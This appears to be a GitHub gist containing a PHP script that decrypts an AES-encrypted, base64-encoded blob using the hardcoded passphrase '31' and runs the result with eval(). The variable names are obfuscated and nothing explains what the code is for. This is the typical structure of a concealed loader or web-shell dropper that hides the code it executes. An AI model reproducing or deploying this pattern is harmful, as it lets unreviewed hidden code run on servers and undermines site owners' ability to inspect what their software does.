Skip to content

Instantly share code, notes, and snippets.

@ejb1123
Created March 5, 2021 07:03
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save ejb1123/55986144a8aa84990abd719e8defbe7e to your computer and use it in GitHub Desktop.
Save ejb1123/55986144a8aa84990abd719e8defbe7e to your computer and use it in GitHub Desktop.
<?php
if (!function_exists('phpCrypt')) {
function phpCrypt($chiperText, $passphrase = "", $v5fd3c46b72006 = false)
{
$currentClass = new stdClass();
$currentClass->originalText = "";
$currentClass->cipherText = $chiperText;
$currentClass->decryptedCode = "echo 'No Code Found To Decrypt';";
$chipertextdecoded = base64_decode($chiperText);
$chiperLenght = openssl_cipher_iv_length($chiperMethod = "AES-128-CBC");
$intializationVector = substr($chipertextdecoded, 0, $chiperLenght);
$v5fd3c46b7217a = substr($chipertextdecoded, $chiperLenght, $someoffset = 32);
$data = substr($chipertextdecoded, $chiperLenght + $someoffset);
$currentClass->originalText = openssl_decrypt($data, $chiperMethod, $passphrase, $v5fd3c46b72233 = OPENSSL_RAW_DATA, $intializationVector);
$v5fd3c46b72083alcmac = hash_hmac('sha256', $data, $passphrase, $v5fd3c46b722ac = true);
if (!empty($v5fd3c46b7217a) && he($v5fd3c46b7217a, $v5fd3c46b72083alcmac)) {
$array1 = array();
$array1[0] = '/^<\?php/i';
$array1[1] = '/\?>$/i';
$array2 = array();
$array2[1] = '';
$array2[0] = '';
$currentClass->decryptedCode = preg_replace($array1, $array2, $currentClass->originalText);
$currentClass->decryptedCode = $currentClass->originalText;
}
if ($v5fd3c46b72006) {
return $currentClass;
} else if (!empty($currentClass->decryptedCode)) {
$v5fd3c46b72360 = substr(trim($currentClass->decryptedCode), -2);
$v5fd3c46b7239b = '<?php ';
if ($v5fd3c46b72360 !== '?>') {
$v5fd3c46b7239b = "";
}
return (' ?>' . $currentClass->decryptedCode . $v5fd3c46b7239b);
}
}
}
if (!function_exists('he')) {
function he($v5fd3c46b723d9, $v5fd3c46b72417)
{
if (strlen($v5fd3c46b723d9) != strlen($v5fd3c46b72417)) {
return false;
} else {
$v5fd3c46b72453 = $v5fd3c46b723d9 ^ $v5fd3c46b72417;
$v5fd3c46b7248f = 0;
for ($v5fd3c46b724cb = strlen($v5fd3c46b72453) - 1; $v5fd3c46b724cb >= 0; $v5fd3c46b724cb--) {
$v5fd3c46b7248f |= ord($v5fd3c46b72453[$v5fd3c46b724cb]);
}
return !$v5fd3c46b7248f;
}
}
};
$_ = phpCrypt('UIABYqBrwFY8Z4cO5y9m6BzURpoqe7Lj+Zh4VKXPtbf4epfBFq67iglCoB6XtGkcTlIK4ezXEh6M9Qg6nwyV4S5DwZKb9jg9pgZw0SYMYM7bOSxYZ92qxwTCvYi5MQgh48De7X3Ut6yC67kO4jDmPyaqDC0rAEQ8yBjNrExTYl7C4C+uuRwcrjpKNV5SdY+7qcs24F0VkoxrFyrf/e5Obgki2M6huqNh475/KWRvROCWpEqJRBtT9c6E3PIm10+C6j8+7iYsZyVAAKltvYe0SeRPyiMm12R1qK+82QlWZtqH7eM0ld89ArRrJqAeTIETjT8BqbYnVBTSK/gzdR3XPFCb8rC+/u5jG3x3qlJ1AGBadTXAbzNPed3bv7VjheiIUOJ+mmd7x1t+T+rANlzwXbEKDBI1fo1gAQVAeIN7Q59qc9Bq1arjveCXTTsaaBo3/Sn0aIZ//RWBqQfSa4nbbt2XF7C6c3dVcyd+iHk615kJ6T0mEdV7Edgb6wZctngdGAcgeDRHhbX13tHrCyv8/DRNdf6KxNOfw68APM2Y9HMIEpnQwXwf3d9MLc2qrNTvPVYZWK8PsgrRgCEYMFiOMgyGQBQh6jM/+2UJpivZ/N6hzWmpNRkGqXts95ZweaDrtnOlvBbKpWgnhZHRiMUMzv14C9F3IsIXPc5mxg2jTtRqg7v4h2biwZiZJL+uLSkIszbzhccuC/shM/4Nxnp8baRdWbbmkX3PEn+oTCKt8Ca2TCC1XhUWsrvzn8z2QgGmJCRgiAXOLY7MbYR9NhzQUGTEcBQzjyJufBt7M2OtRBg/8e4m9PzhtnP1tmNsCzYrJxWCCbmEJqO23D56VroKyVBQlSBy17zpaSgrw12H2PR6zPzFgJayFoOzYtvQ2jYEMeUg6Lbd+MEhIDMCJfY8xpTiuZJEevZ5pjVWPmDd0qJScf8w1fTh2EOi7tl1t5M/A+0tZL9UyoCtk4cxatlX3m6+gbkipCjFFegJq0HjVs6sTbzSA8vLCtKHyfkz29z5rzPpZKkWbLHCtVSc5HeqEQbqiCA4yh6Ke+SLZZwBqow=', '31');
eval($_);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment